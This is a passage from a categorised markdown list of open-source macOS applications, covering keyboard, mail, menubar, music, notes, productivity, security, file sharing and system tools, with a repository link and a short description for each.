- [InVesalius](https://github.com/invesalius/invesalius3/) - 3D medical imaging reconstruction software ![python_icon]
- [Inkscape](https://gitlab.com/inkscape/inkscape) - Inkscape is a Free and open source vector graphics editor. ![c++_icon]
- [Katana](https://github.com/bluegill/katana) - Katana is a simple screenshot utility for macOS that lives in your menubar. ![javascript_icon] ![css_icon]
- [Krita](https://invent.kde.org/graphics/krita) - Krita is a cross-platform application for creating digital art files from scratch like illustrations, concept art, matte painting, textures, comics and animations. ![cpp_icon] ![python_icon] ![c_icon]
- [PhotoMiner](https://github.com/gergelysanta/photominer) - macOS app for finding and lost forgotten photos on your disks. ![swift_icon]
- [Screenbar](https://github.com/crilleengvall/Screenbar) - macOS menubar app for automating screenshots. ![swift_icon]
- [Seashore](https://github.com/robaho/seashore) - Easy to use macOS image editing application for the rest of us. ![objective_c_icon]
- [WebPonize](https://github.com/1000ch/WebPonize) - WebPonize is a macOS App for converting PNG, JPEG, animated (or not) GIF images into WebP. ![swift_icon] ![c_icon]
### Keyboard
- [AnnePro-mac](https://github.com/msvisser/AnnePro-mac) - macOS application for controlling AnnePro keyboard over bluetooth. ![swift_icon]
- [Fluor](https://github.com/Pyroh/Fluor) - Handy tool for macOS allowing you to switch Fn keys' mode based on active application. ![swift_icon]
- [GokuRakuJoudo](https://github.com/yqrashawn/GokuRakuJoudo) - Karabiner-Elements configuration manager, rescue to bloated karabiner.json ![clojure_icon]
- [Karabiner](https://github.com/tekezo/Karabiner) - Karabiner (KeyRemap4MacBook) is a powerful utility for keyboard customization. ![cpp_icon] ![objective_c_icon]
- [Karabiner-Elements](https://github.com/pqrs-org/Karabiner-Elements) - Karabiner-Elements is a powerful utility for keyboard customization on macOS Sierra (10.12) or later. ![cpp_icon] ![objective_c_icon]
- [Kawa](https://github.com/hatashiro/kawa) - Better input source switcher for macOS. ![swift_icon]
- [Keycastr](https://github.com/keycastr/keycastr) - Keystroke visualizer. ![Objective-C_icon]
- [Thor](https://github.com/gbammc/Thor) - Switch the right application ASAP. ![swift_icon]
- [Unshaky](https://github.com/aahung/Unshaky) - A software attempt to address the "double key press" issue on Apple's butterfly keyboard ![swift_icon]
### Mail
- [Correo](https://github.com/amitmerchant1990/correo) - Menubar/taskbar Gmail App for Windows and macOS. ![javascript_icon]
- [ElectronMail](https://github.com/vladimiry/ElectronMail) - Unofficial desktop app for ProtonMail and Tutanota end-to-end encrypted email providers. ![typescript_icon]
- [Mailspring](https://github.com/Foundry376/Mailspring) - 💌 A beautiful, fast and maintained fork of @nylas Mail by one of the original authors ![javascript_icon]
- [Rambox](https://github.com/ramboxapp/community-edition) - Cross Platform messaging and emailing app that combines common web applications into one. ![javascript_icon] ![css_icon]
- [SimpleLogin](https://github.com/simple-login/mac-app) - Email Alias solution: protect your real email address. ![swift_icon]
- [Thunderbird](https://hg.mozilla.org/mozilla-central) - Backed by Mozilla, Thunderbird is an extensible email, newsfeed, chat, and calendaring client. ![cpp_icon] ![javascript_icon] ![rust_icon]
- [dejalu](https://github.com/dinhvh/dejalu) - Fast and Simple Email Client. ![cpp_icon] ![objective_c_icon]
### Medical
- [InVesalius](https://github.com/invesalius/invesalius3/) - 3D medical imaging reconstruction software ![python_icon]
### Menubar
- [Airpass](https://github.com/alvesjtiago/airpass) - Status bar Mac application to overcome time constrained WiFi networks. ![javascript_icon]
- [Akku](https://github.com/jariz/Akku) - The missing macOS bluetooth headset battery indicator app. ![swift_icon] ![python_icon] ![ruby_icon]
- [AnyBar](https://github.com/tonsky/AnyBar) - macOS menubar status indicator. ![objective_c_icon]
- [BarTranslate](https://github.com/ThijmenDam/BarTranslate) - A handy menu bar translator app that supports DeepL and Google Translate. ![typescript_icon]
- [CloudyTabs](https://github.com/josh-/CloudyTabs) - Simple menu bar macOS application for displaying lists of your iCloud Tabs and Reading List. ![objective_c_icon]
- [DatWeatherDoe](https://github.com/inderdhir/DatWeatherDoe) - Simple menu bar weather app for macOS written in Swift. ![swift_icon]
- [DisplayMenu](https://github.com/Kwpolska/DisplayMenu) - Simple (bare-bones) macOS menubar extra to apply display presets. ![swift_icon]
- [Dozer](https://github.com/Mortennn/Dozer) - Hide MacOS menubar items. ![swift_icon]
- [Grayscale Mode](https://github.com/rkbhochalya/grayscale-mode) - Manage grayscale mode from menu bar. ![swift_icon]
- [Hidden Bar](https://github.com/dwarvesf/hidden) - An ultra-light MacOS utility that helps hide menu bar icons ![swift_icon]
- [Itsycal](https://github.com/sfsam/Itsycal) - A tiny calendar for that lives in the Mac menu bar. ![objective_c_icon]
- [KubeContext](https://github.com/turkenh/KubeContext) - import, manage and switch between your Kubernetes contexts on Mac. ![swift_icon]
- [LinkLiar](https://github.com/halo/LinkLiar) - Keep your MAC address random for privacy (intuitive GUI for ifconfig) ![swift_icon]
- [Market Bar](https://github.com/mnndnl/market-bar ) - Tiny stocks watcher for the menu bar. ![swift_icon]
- [MeetingBar](https://github.com/leits/MeetingBar) - Menu bar app for your calendar meetings ![swift_icon]
- [MenuMeters](https://github.com/yujitach/MenuMeters) - CPU, memory, disk, and network monitoring tools for macOS. ![objective_c_icon]
- [Menubar Brightness](https://github.com/lucasbento/menubar-brightness) - macOS app to change the screen brightness on the menubar. ![javascript_icon]
- [Monitor Bar](https://github.com/tidiemme/monitorbar) - Monitor Bar app supports three modes, compact, normal, extra. It monitors battery, Disk, Memory, CPU, Network bandwidth, Wi-Fi. ![Swift_icon]
- [Night Shift Control](https://github.com/isaiasmatewos/night-shift-control) - Night Shift Control is a simple macOS menubar app for controlling Night Shift. It's aim is to bring features from f.lux which are missing from Night Shift such as disabling Night Shift for certain apps. ![swift_icon]
- [Nocturnal](https://github.com/joshjon/nocturnal) - Menu bar app featuring darker than dark dimming, Night Shift fine tuning, and the ability to turn off TouchBar on MacBook Pro. ![swift_icon]
- [NoiseBuddy](https://github.com/insidegui/NoiseBuddy) - Control the listening mode on your AirPods Pro in the Touch Bar or Menu Bar. ![swift_icon]
- [PSIBar](https://github.com/nikhilsh/PSIBar) - Quickly hacked up PSI macOS status bar app. ![swift_icon]
- [Pareto Security](https://github.com/paretoSecurity/pareto-mac/) - A MenuBar app to automatically audit your Mac for basic security hygiene. ![swift_icon]
- [Pi Stats](https://github.com/Bunn/PiStats) - macOS app to visualize Pi-hole information. ![swift_icon] ![objective_c_icon]
- [Pika](https://github.com/superhighfives/pika) - Is an easy to use, open-source, native colour picker for macOS. ![swift_icon] ![metal_icon]
- [PlayStatus](https://github.com/nbolar/PlayStatus) - PlayStatus is a macOS app that allows the control of Spotify and iTunes music playback from the menu bar. ![swift_icon]
- [Quickeys](https://github.com/alexrosenfeld10/Quickeys) - A mac menu bar app that provides note taking functionality though a quick dropdown menu. ![swift_icon]
- [SensibleSideButtons](https://github.com/archagon/sensible-side-buttons) - Small menu bar utility that lets you use your third-party mouse's side buttons for navigation across a variety of apps. ![objective_c_icon] ![c_icon]
- [Shifty](https://github.com/thompsonate/Shifty) - macOS menu bar app that gives you more control over Night Shift. ![swift_icon]
- [SlimHUD - Cyanocitta](https://github.com/AlexPerathoner/SlimHUD) - Replacement for MacOS' volume, brightness and keyboard backlight HUDs. ![swift_icon]
- [Stats](https://github.com/exelban/stats) - macOS system monitor in your menu bar ![swift_icon]
- [SwiftBar](https://github.com/swiftbar/SwiftBar) - Powerful macOS menu bar customization tool. ![swift_icon]
- [baRSS – Menu Bar RSS Reader](https://github.com/relikd/barss) - RSS & Atom feed reader that lives in the system status bar. ![objective_c_icon]
- [eul](https://github.com/gao-sun/eul) - macOS status monitoring app written in SwiftUI. ![swift_icon]
- [gSwitch](https://github.com/CodySchrank/gSwitch) - macOS status bar app that allows control over the gpu on dual gpu macbooks. ![swift_icon]
- [iGlance](https://github.com/iglance/iGlance) - macOS System Monitor (cpu, memory, network, fan and battery) for the Status Bar. ![swift_icon]
- [xbar](https://github.com/matryer/xbar) - Put the output from any script or program into your macOS Menu Bar. ![objective_c_icon]
### Music
- [Carol](https://github.com/AnaghSharma/Carol) - A minimal and beautiful lyrics app that stays in the menu bar of macOS. ![c_sharp_icon]
- [ChordDetector](https://github.com/cemolcay/ChordDetector) - Tiny menu bar app that listens iTunes and Spotify to detect chords of songs! ![swift_icon]
- [DeezPlayer](https://github.com/imanel/deezplayer) - Deezer Desktop app for Windows, Linux and macOS. ![coffee_script_icon]
- [Karaoke Forever](https://github.com/bhj/KaraokeEternal) - Host awesome karaoke parties where everyone can queue songs from their phone's browser. Plays MP3+G and MP4 with WebGL visualizations. ![javascript_icon]
- [Lilypond UI](https://github.com/doches/lilypond-ui) - Create beautiful musical scores with LilyPond. ![javascript_icon]
- [MPV](https://github.com/mpv-player/mpv) - Lightweight, highly configurable media player. ![c_icon]
- [NoiseBuddy](https://github.com/insidegui/NoiseBuddy) - Control the listening mode on your AirPods Pro in the Touch Bar or Menu Bar. ![swift_icon]
- [PlayStatus](https://github.com/nbolar/PlayStatus) - PlayStatus is a macOS app that allows the control of Spotify and iTunes music playback from the menu bar. ![swift_icon]
- [Plug](https://github.com/wulkano/Plug) - Discover and listen to music from Hype Machine. ![swift_icon]
- [SoundCleod](https://github.com/salomvary/soundcleod) - SoundCloud for macOS and Windows. ![javascript_icon]
- [Spotify-Cli-Mac](https://github.com/ersel/spotify-cli-mac) - Control Spotify without leaving your terminal. :notes: ![javascript_icon]
- [YouTube-Music](https://github.com/steve228uk/YouTube-Music) - macOS wrapper for music.youtube.com. ![swift_icon]
- [iTunes Graphs](https://github.com/Zac-Garby/iTunes-Graphs) - macOS app to visualise your iTunes library as graphs. ![swift_icon]
- [lyricsify](https://github.com/mamal72/lyricsify-mac) - Simple Spotify lyrics viewer menu bar app for macOS in Swift. ![swift_icon]
- [spicetify-cli](https://github.com/spicetify/spicetify-cli) - Command-line tool to customize the official Spotify client. Supports Windows, MacOS and Linux. ![javascript_icon]
### News
- [Diurna](https://github.com/ngquerol/Diurna) - Basic/Classic Hacker News app, used as a Cocoa & Swift learning platform. ![swift_icon]
- [NetNewsWire](https://github.com/Ranchero-Software/NetNewsWire) - Feed reader for macOS. ![swift_icon]
- [Vienna](https://github.com/ViennaRSS/vienna-rss) - Vienna is a RSS/Atom newsreader for macOS. ![objective_c_icon]
- [Winds](https://github.com/GetStream/Winds) - A Beautiful Open Source RSS & Podcast App Powered by Getstream.io ![javascript_icon]
- [baRSS – Menu Bar RSS Reader](https://github.com/relikd/barss) - RSS & Atom feed reader that lives in the system status bar. ![objective_c_icon]
- [hacker-menu](https://github.com/owenthereal/hacker-menu) - Hacker News Delivered to Desktop. ![javascript_icon]
### Notes
- [Boostnote](https://github.com/BoostIO/BoostNote-Legacy) - Note-taking application made for programmers just like you. ![javascript_icon]
- [Dnote](https://github.com/dnote/dnote) - A simple command line notebook with multi-device sync and web interface. ![go_icon] ![typescript_icon]
- [FSNotes](https://github.com/glushchenko/fsnotes) - Notes manager for macOS/iOS: modern notational velocity (nvALT) on steroids. ![swift_icon]
- [FromScratch](https://github.com/Kilian/fromscratch) - Little app that you can use as a quick note taking or todo app. ![javascript_icon] ![css_icon]
- [Jupyter Notebook Viewer](https://github.com/tuxu/nbviewer-app) - Notebook viewer for macOS. ![swift_icon]
- [NoteTaker](https://github.com/insidegui/NoteTaker) - Simple note taking app for macOS and iOS which uses Realm and CloudKit for syncing. ![swift_icon]
- [Notenik](https://github.com/hbowie/notenik-swift) - Note-taking app with many organizational options. ![swift_icon]
- [Notes](https://github.com/SauvageP/Notes) - Notes is a macOS application built to create notes, using text amongst other formats: images, videos, contacts, and etc. ![swift_icon]
- [QOwnNotes](https://github.com/pbek/QOwnNotes) - Plain-text file notepad and todo-list manager with markdown support and ownCloud / Nextcloud integration. ![cpp_icon]
- [Simplenote](https://github.com/Automattic/simplenote-macos) - Simplest way to keep notes. ![objective_c_icon]
- [Standard Notes](https://github.com/standardnotes/app) - Safe place for your notes, thoughts, and life's work. ![javascript_icon] ![css_icon]
- [Tusk](https://github.com/klaudiosinani/tusk) - Unofficial, third-party, community driven Evernote app with a handful of useful features. ![javascript_icon] ![css_icon]
- [joplin](https://github.com/laurent22/joplin) - Note taking and to-do application with synchronization capabilities for Windows, macOS, Linux, Android and iOS. ![javascript_icon]
- [linked](https://github.com/lostdesign/linked) - 🧾 Your daily journal app, diary or anything else to unclutter your mind. Let linked help you get focused by writing down what is in your mind on a daily basis. ![javascript_icon] ![vue_icon] ![css_icon]
- [notable](https://github.com/jmcfarlane/notable) - Simple note taking application. ![javascript_icon]
- [tmpNote](https://github.com/buddax2/tmpNote) - Very simple macOS app to make temporary notes. ![swift_icon]
### Other
- [Betaflight Configurator](https://github.com/betaflight/betaflight-configurator) - Cross platform configuration tool for the Betaflight firmware. ![javascript_icon]
- [Cakebrew](https://github.com/brunophilipe/Cakebrew) - Manage your Homebrew formulas with style using Cakebrew. ![objective_c_icon]
- [ChipMunk](https://github.com/esrlabs/chipmunk) - Log analysis tool. ![typescript_icon] ![rust_icon]
- [DevDocs for macOS](https://github.com/dteoh/devdocs-macos) - An unofficial DevDocs API documentation viewer. ![swift_icon]
- [Gas Mask](https://github.com/2ndalpha/gasmask) - Hosts file manager for macOS. ![objective_c_icon]
- [Hosts](https://github.com/specialunderwear/Hosts.prefpane) - Cocoa GUI for /etc/hosts. ![objective_c_icon]
- [ImageOptim](https://github.com/ImageOptim/ImageOptim) - GUI image optimizer for Mac. ![objective_c_icon]
- [Keyframes Player](https://github.com/insidegui/KeyframesPlayer) - Simple macOS app to preview animations created with Facebook's keyframes framework. ![swift_icon]
- [Lepton](https://github.com/hackjutsu/Lepton) - Democratizing Code Snippets Management (macOS/Win/Linux). ![javascript_icon]
- [Letters](https://github.com/klaaspieter/letters) - Teach your kids the alphabet and how to type. ![swift_icon]
- [Platypus](https://github.com/sveinbjornt/Platypus) - Mac developer tool that creates application bundles from command line scripts. ![objective_c_icon]
- [QorumLogs](https://github.com/Esqarrouth/QorumLogs) - Swift Logging Utility for Xcode & Google Docs. ![swift_icon]
- [React Native Debugger](https://github.com/jhen0409/react-native-debugger) - Desktop app for inspecting your React Native projects. macOS, Linux, and Windows. ![javascript_icon]
- [Reactotron](https://github.com/infinitered/reactotron) - Desktop app for inspecting your React JS and React Native projects. macOS, Linux, and Windows. ![javascript_icon]
- [RktMachine](https://github.com/woofwoofinc/rktmachine) - Menu bar macOS app for running rkt in a macOS hypervisor CoreOS VM. ![swift_icon]
- [Ruby.app](https://github.com/gosu/ruby-app) - macOS app that contains a full Ruby installation (for use with Ruby/Gosu). ![ruby_icon]
- [Shuttle](https://github.com/fitztrev/shuttle) - Simple SSH shortcut menu for macOS. ![objective_c_icon]
- [SwiftyBeaver](https://github.com/SwiftyBeaver/SwiftyBeaver) - Convenient logging during development & release in Swift. ![swift_icon]
- [Unused](https://github.com/jeffhodnett/Unused) - Mac app for checking Xcode projects for unused resources. ![objective_c_icon]
- [Vagrant Manager](https://github.com/lanayotech/vagrant-manager) - Manage your vagrant machines in one place with Vagrant Manager for macOS. ![objective_c_icon]
- [macGist](https://github.com/Bunn/macGist) - Simple app to send pasteboard items to GitHub's Gist. ![swift_icon]
- [syncthing-macosx](https://github.com/syncthing/syncthing-macos) - Frugal nativemacOS macOS Syncthing application bundle. ![objective_c_icon]
### Player
- [IINA](https://github.com/iina/iina) - The modern video player for macOS. ![swift_icon]
- [MPV](https://github.com/mpv-player/mpv) - Lightweight, highly configurable media player. ![c_icon]
- [MPlayerX](https://github.com/niltsh/MPlayerX) - Media player on macOS. ![objective_c_icon]
- [MacMorpheus](https://github.com/emoRaivis/MacMorpheus) - 3D 180/360 video player for macOS for PSVR with head tracking. ![objective_c_icon]
- [Movie Monad](https://github.com/lettier/movie-monad) - Desktop video player built with Haskell that uses GStreamer and GTK+. ![haskell_icon]
- [Plug](https://github.com/wulkano/Plug) - Discover and listen to music from Hype Machine. ![swift_icon]
### Podcast
- [Cumulonimbus](https://github.com/z-------------/CPod) - Simple, beautiful podcast app. ![javascript_icon]
- [Doughnut](https://github.com/dyerc/Doughnut) - Podcast player and library for mac ![swift_icon]
- [PodcastMenu](https://github.com/insidegui/PodcastMenu) - PodcastMenu is a simple app which puts [Overcast](https://overcast.fm/) on your Mac's menu bar so you can listen to your favorite podcasts while you work. ![swift_icon]
- [Podlive for macOS](https://github.com/Podlive/podlive-macos) - macOS client to listen to live streaming podcasts (only). It currently supports all livestreams broadcasting via Ultraschall with [Studio Link On Air](https://studio-link.de). ![objective_c_icon]
- [Winds](https://github.com/GetStream/Winds) - A Beautiful Open Source RSS & Podcast App Powered by Getstream.io ![javascript_icon]
- [mkchromecast](https://github.com/muammar/mkchromecast) - Cast macOS and Linux Audio/Video to your Google Cast and Sonos Devices. ![python_icon]
### Productivity
- [Ao](https://github.com/klaudiosinani/ao) - Elegant Microsoft To-Do desktop app. ![javascript_icon] ![css_icon]
- [Calculeta](https://github.com/varol/Calculeta) - Calculator for macOS which working on statusbar. ![swift_icon]
- [Cerebro](https://github.com/cerebroapp/cerebro) - Cross-platform launcher app. ![javascript_icon]
- [ClipMenu](https://github.com/naotaka/ClipMenu) - Clipboard manager for macOS. ![objective_c_icon]
- [Clocker](https://github.com/n0shake/Clocker) - macOS app to plan and organize through timezones. ![objective_c_icon]
- [Condution](https://github.com/Shabang-Systems/Condution) - Create tasks, manage due dates, and filter with powerful perspectives. ![javascript_icon]
- [ControlPlane](https://github.com/dustinrue/ControlPlane) - Automate running tasks based on where you are or what you do. ![objective_c_icon]
- [DevUtils.app](https://github.com/DevUtilsApp/DevUtils-app) - Developer Utilities for macOS, helps you with your tiny daily tasks with just a single click! i.e., JSON Formatter, UUID Generator... ![swift_icon]
- [DropPoint](https://github.com/GameGodS3/DropPoint) - Make drag-and-drop easier using DropPoint. Helps to drag content without having to open side-by-side windows. ![javascript_icon]
- [Flycut](https://github.com/TermiT/flycut) - Clean and simple clipboard manager for developers. ![objective_c_icon]
- [Itsycal](https://github.com/sfsam/Itsycal) - A tiny calendar for that lives in the Mac menu bar. ![objective_c_icon]
- [KeyHolder](https://github.com/Clipy/KeyHolder) - Record shortcuts in macOS, like Alfred.app. ![swift_icon]
- [Kiwix](https://github.com/kiwix/apple) - Kiwix for iOS and macOS, build on Swift. ![swift_icon]
- [Layout Designer for UICollectionView](https://github.com/amirdew/CollectionViewPagingLayout) - A simple but powerful tool that helps you make complex layouts for UICollectionView. ![swift_icon]
- [Linked Ideas](https://github.com/fespinoza/LinkedIdeas) - macOS application to write down and connect ideas. ![swift_icon]
- [Mac Screenshot Tracker](https://github.com/instance01/mac-screenshot-tracker) - An open source, free and hackable screenshot tracker. Re-watch what you've been working on! ![python_icon]
- [Maccy](https://github.com/p0deje/Maccy) - Lightweight search-as-you-type clipboard manager. ![swift_icon]
- [Manta](https://github.com/hql287/Manta) - Flexible invoicing desktop app with beautiful & customizable templates. ![javascript_icon]
- [MeetingBar](https://github.com/leits/MeetingBar) - Menu bar app for your calendar meetings ![swift_icon]
- [Middleclick](https://github.com/artginzburg/MiddleClick-Ventura) - Emulate a scroll wheel click with three finger Click or Tap on MacBook trackpad and Magic Mouse ![c_icon]
- [PDF Archiver](https://github.com/PDF-Archiver/PDF-Archiver) - Nice tool for tagging and archiving tasks. ![swift_icon]
- [Paperless Desktop](https://github.com/thomasbrueggemann/paperless-desktop) - Desktop app that uses the paperless API to manage your document scans. ![javascript_icon]
- [Pennywise](https://github.com/kamranahmedse/pennywise) - Pennywise opens any website or media in a small floating window that remains on top of all other applications. It's a great alternative to Helium. ![javascript_icon]
- [Pomodoro Cycle](https://github.com/ziulev/pomodoro-cycle-app) - Pomodoro Cycle for macOS ![typescript_icon]
- [QOwnNotes](https://github.com/pbek/QOwnNotes) - Plain-text file notepad and todo-list manager with markdown support and ownCloud / Nextcloud integration. ![cpp_icon]
- [Quicksilver](https://github.com/quicksilver/Quicksilver) - Quicksilver is a fast macOS productivity application that gives you the power to control your Mac quickly and elegantly. ![objective_c_icon]
- [Quickwords](https://github.com/quickwords/quickwords) - Write anything in a matter of seconds. Create snippets that can substitute text, execute tedious tasks and more. ![javascript_icon] ![css_icon]
- [SelfControl](https://github.com/SelfControlApp/selfcontrol) - macOS app to block your own access to distracting websites etc for a predetermined period of time. It can not be undone by the app or by a restart – you must wait for the timer to run out. ![objective_c_icon]
- [Sessions](https://github.com/AlexPerathoner/Sessions) - Safari extension to save your working sessions ![swift_icon]
- [Speed Reader](https://github.com/LumingYin/SpeedReader) - Read faster with the power of silencing vocalization with SpeedReader. ![swift_icon]
- [Spotter](https://github.com/spotter-application/spotter) - Productivity tool, the main function is to search and launch external application actions and applications themselves, so you can stay focused on your current task. Kind of spotlight or alfred alternative. ![typescript_icon] ![swift_icon]
- [StickyNotes](https://github.com/LumingYin/StickyNotes) - A Windows 10-esque Sticky Notes app implemented in AppKit. ![swift_icon]
- [Strategr](https://github.com/khrykin/StrategrDesktop) - No-fuss time management. ![cpp_icon] ![objective_c_icon]
- [Super Productivity](https://github.com/johannesjo/super-productivity) - Free to do list & time tracker for programmers & designers with Jira integration. ![typescript_icon] ![javascript_icon]
- [ThenGenerator](https://github.com/87kangsw/ThenGenerator) - Xcode Source Editor Extension for 'Then' ![swift_icon]
- [Thyme](https://github.com/joaomoreno/thyme) - The task timer for OS X. ![objective_c_icon]
- [Time to Leave](https://github.com/thamara/time-to-leave) - Log work hours and get notified when it's time to leave the office and start to live. ![javascript_icon] ![css_icon] ![html_icon]
- [Timer](https://github.com/michaelvillar/timer-app) - Simple Timer app for Mac. ![swift_icon]
- [Toggl Desktop](https://github.com/toggl-open-source/toggldesktop) - Toggl Desktop app for Windows, Mac and Linux. ![cpp_icon]
- [TomatoBar](https://github.com/ivoronin/TomatoBar) - Pomodoro Technique Timer for macOS with Touch Bar support. ![swift_icon]
- [TrelloApp](https://github.com/jlong/TrelloApp) - Unofficial wrapper application for Trello.com written in Swift. This is almost a "Hello World" for a site specific browser. ![swift_icon]
- [Ueli](https://github.com/oliverschwendener/ueli) - A keystroke launcher for macOS (and Windows) like Spotlight or Alfred. ![typescript_icon]
- [Ultra TabSaver](https://github.com/Swift-open-source/UltraTabSaver) - Ultra TabSaver is an open-source Tab Manager for Safari ![swift_icon]
- [Watson](https://github.com/TailorDev/Watson) - A CLI application for time tracking. ![python_icon]
- [Whale](https://github.com/1000ch/whale) - Unofficial Trello app. ![javascript_icon]
- [Yomu](https://github.com/sendyhalim/Yomu) - Manga reader app for macOS. ![swift_icon]
- [espanso](https://github.com/espanso/espanso) - Cross-platform Text Expander, a powerful replacement for Alfred Snippets ![rust_icon]
- [far2l](https://github.com/elfmz/far2l) - Linux/Mac fork of FAR Manager v2 ![c_icon] ![cpp_icon]
- [linked](https://github.com/lostdesign/linked) - 🧾 Your daily journal app, diary or anything else to unclutter your mind. Let linked help you get focused by writing down what is in your mind on a daily basis. ![javascript_icon] ![vue_icon] ![css_icon]
- [macOrganizer](https://github.com/shubhambatra3019/macOrganizer) - macOS app for organizing files or removing unnecessary files. ![swift_icon]
- [reventlou](https://github.com/b3z/reventlou) - Personal database as an information management system. ![typescript_icon] ![swift_icon]
- [sqlectron](https://github.com/sqlectron/sqlectron-gui) - A simple and lightweight SQL client desktop/terminal with cross database and platform support. ![typescript_icon]
- [status-bar-todo](https://github.com/Onix-Systems/osx-status-bar-todo) - Simple macOS app to keep TODO-list in status bar. ![swift_icon]
- [stretchly](https://github.com/hovancik/stretchly) - Cross-platform electron app that reminds you to take breaks when working with computer. ![javascript_icon]
### Screensaver
- [Aerial](https://github.com/JohnCoates/Aerial) - Apple TV Aerial Screensaver for macOS. ![swift_icon]
- [Brooklyn](https://github.com/pedrommcarrasco/Brooklyn) - Screensaver inspired by Apple's Event on October 30, 2018. ![swift_icon]
- [Epoch Flip Clock Screensaver](https://github.com/chrstphrknwtn/epoch-flip-clock-screensaver) - Unix epoch timestamp flip clock screensaver. ![objective_c_icon]
- [Image-As-Wallpaper](https://github.com/ved62/Image-As-Wallpaper) - Utility application helps with selection of images for using as desktop wallpaper or in screensaver on Mac computers. ![swift_icon]
- [Irvue](https://github.com/leonspok/Irvue-Screensaver) - Screensaver for macOS. ![objective_c_icon]
- [Life Saver](https://github.com/amiantos/lifesaver) - An abstract screensaver based on Conway's Game of Life implemented with SpriteKit ![swift_icon]
- [MinimalClock](https://github.com/mattiarossini/MinimalClock) - Simple and elegant screensaver that displays the time. ![swift_icon]
- [MusaicFM](https://github.com/obrhoff/MusaicFM) - iTunes Screensaver Clone for Spotify and Last.fm ![objective_c_icon]
- [Predator](https://github.com/vpeschenkov/Predator) - A predator-inspired clock screensaver for macOS ![swift_icon]
- [The GitHub Matrix Screensaver](https://github.com/winterbe/github-matrix-screensaver) - The GitHub Matrix Screensaver for macOS. ![javascript_icon]
### Security
- [Cloaker](https://github.com/spieglt/cloaker) - simple drag-and-drop, password-based file encryption. ![rust_icon]
- [Cryptomator](https://github.com/cryptomator/cryptomator) - Multi-platform transparent client-side encryption of your files in the cloud. ![java_icon]
- [LuLu](https://github.com/objective-see/LuLu) - LuLu is macOS firewall application that aims to block unauthorized (outgoing) network traffic. ![objective_c_icon]
- [Pareto Security](https://github.com/paretoSecurity/pareto-mac/) - A MenuBar app to automatically audit your Mac for basic security hygiene. ![swift_icon]
- [Privacy Redirect for Safari](https://github.com/smmr-software/privacy-redirect-safari) - Redirect Twitter, YouTube, Reddit, Google Maps, Google Search, and Google Translate to privacy friendly alternatives. ![swift_icon]
- [Swifty](https://github.com/swiftyapp/swifty) - Free and offline password manager. ![javascript_icon]
- [VeraCrypt](https://github.com/veracrypt/VeraCrypt) - Disk encryption with strong security based on TrueCrypt. ![c_icon] ![cpp_icon]
- [macOS GateKeeper Helper](https://github.com/wynioux/macOS-GateKeeper-Helper) - Simple macOS GateKeeper script. It helps you to control your GateKeeper. ![shell_icon]
- [stronghold](https://github.com/alichtman/stronghold) - Easily configure macOS security settings from the terminal. ![python_icon]
### Sharing Files
- [Cyberduck](https://github.com/iterate-ch/cyberduck) - Cyberduck is a libre server and cloud storage browser for Mac and Windows with support for FTP, SFTP, WebDAV, Amazon S3, OpenStack Swift, Backblaze B2, Microsoft Azure & OneDrive, Google Drive and Dropbox. ![java_icon]
- [Deluge](https://github.com/deluge-torrent/deluge) - Lightweight cross-platform BitTorrent client. ![python_icon]
- [NitroShare](https://github.com/nitroshare/nitroshare-desktop) - Transferring files from one device to another ![cpp_icon]
- [Rhea](https://github.com/timonus/Rhea) - macOS status bar app for quickly sharing files and URLs. ![objective_c_icon]
- [Soduto](https://github.com/soduto/Soduto) - Soduto is a KDEConnect compatible application for macOS. It gives AirDrop like integration and allows file and clipboard sharing between your phones, desktops and tablets. ![swift_icon] ![objective_c_icon]
- [Transmission](https://github.com/transmission/transmission) - Official Transmission BitTorrent client repository. ![objective_c_icon] ![c_icon]
- [Tribler](https://github.com/Tribler/tribler) - Privacy enhanced BitTorrent client with P2P content discovery. ![python_icon]
- [mac2imgur](https://github.com/mileswd/mac2imgur) - Simple Mac app designed to make uploading images and screenshots to Imgur quick and effortless. ![swift_icon]
- [qBittorrent](https://github.com/qbittorrent/qBittorrent) - BitTorrent client in Qt. ![cpp_icon]
### Social Networking
- [Caprine](https://github.com/sindresorhus/caprine#features) - Elegant Facebook Messenger desktop app. ![javascript_icon] ![css_icon]
- [Goofy](https://github.com/danielbuechele/goofy) - Unofficial Facebook Messenger client. ![javascript_icon]
- [Leviathan](https://github.com/Swiftodon/Leviathan) - Leviathan is a iOS and macOS client application for the Mastodon social network. ![swift_icon]
- [Messenger](https://github.com/rsms/fb-mac-messenger) - macOS app wrapping Facebook's Messenger for desktop. ![objective_c_icon]
- [Product Hunt](https://github.com/producthunt/producthunt-osx) - share and discover your favorite new products and applications. ![swift_icon]
- [Quail](https://github.com/1000ch/quail) - Unofficial [esa](https://esa.io) app. ![javascript_icon]
- [Ramme](https://github.com/terkelg/ramme) - Unofficial Instagram Desktop App. ![javascript_icon] ![css_icon]
- [RedditOS](https://github.com/Dimillian/RedditOS) - A SwiftUI Reddit client for macOS. ![swift_icon]
- [Simpo](https://github.com/KeliCheng/Simpo) - macOS menubar app to post status quickly. ![swift_icon]
### Streaming
- [Galeri](https://github.com/michealparks/galeri) - Perpetual artwork streaming app. ![javascript_icon]
- [OBS Studio](https://github.com/obsproject/obs-studio) - Free and open source software for live streaming and screen recording. ![cpp_icon]
- [Plug](https://github.com/wulkano/Plug) - Discover and listen to music from Hype Machine. ![swift_icon]
### System
- [AppPolice](https://github.com/AppPolice/AppPolice) - App for macOS with a minimalistic UI which lets you quickly throttle down the CPU usage of any running process. ![objective_c_icon]
- [Apple Juice](https://github.com/raphaelhanneken/apple-juice) - Advanced battery gauge for macOS. ![swift_icon]
- [Clean-Me](https://github.com/Kevin-De-Koninck/Clean-Me) - Small macOS app that acts as a system cleaner (logs, cache, ...). ![swift_icon]
- [Diagnostics](https://github.com/macmade/Diagnostics) - Diagnostics is an application displaying the diagnostic reports from applications on macOS. ![swift_icon]
- [DisableMonitor](https://github.com/Eun/DisableMonitor) - Easily disable or enable a monitor on your Mac. ![objective_c_icon]
- [Fanny](https://github.com/DanielStormApps/Fanny) - Monitor your Mac's fan speed and CPU temperature from your Notification Center. ![objective_c_icon]
- [HoRNDIS](https://github.com/jwise/HoRNDIS) - Android USB tethering driver for macOS. ![cpp_icon]
- [Juice](https://github.com/brianmichel/Juice) - Make your battery information a bit more interesting. ![swift_icon]
- [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) - Prevents your Mac from going to sleep. ![objective_c_icon]
- [Latest](https://github.com/mangerlahn/Latest) - Small utility app for macOS that makes sure you know about all the latest updates to the apps you use. ![swift_icon]
- [Loading](https://github.com/BonzaiThePenguin/Loading) - Simple network activity monitor for macOS. ![objective_c_icon]
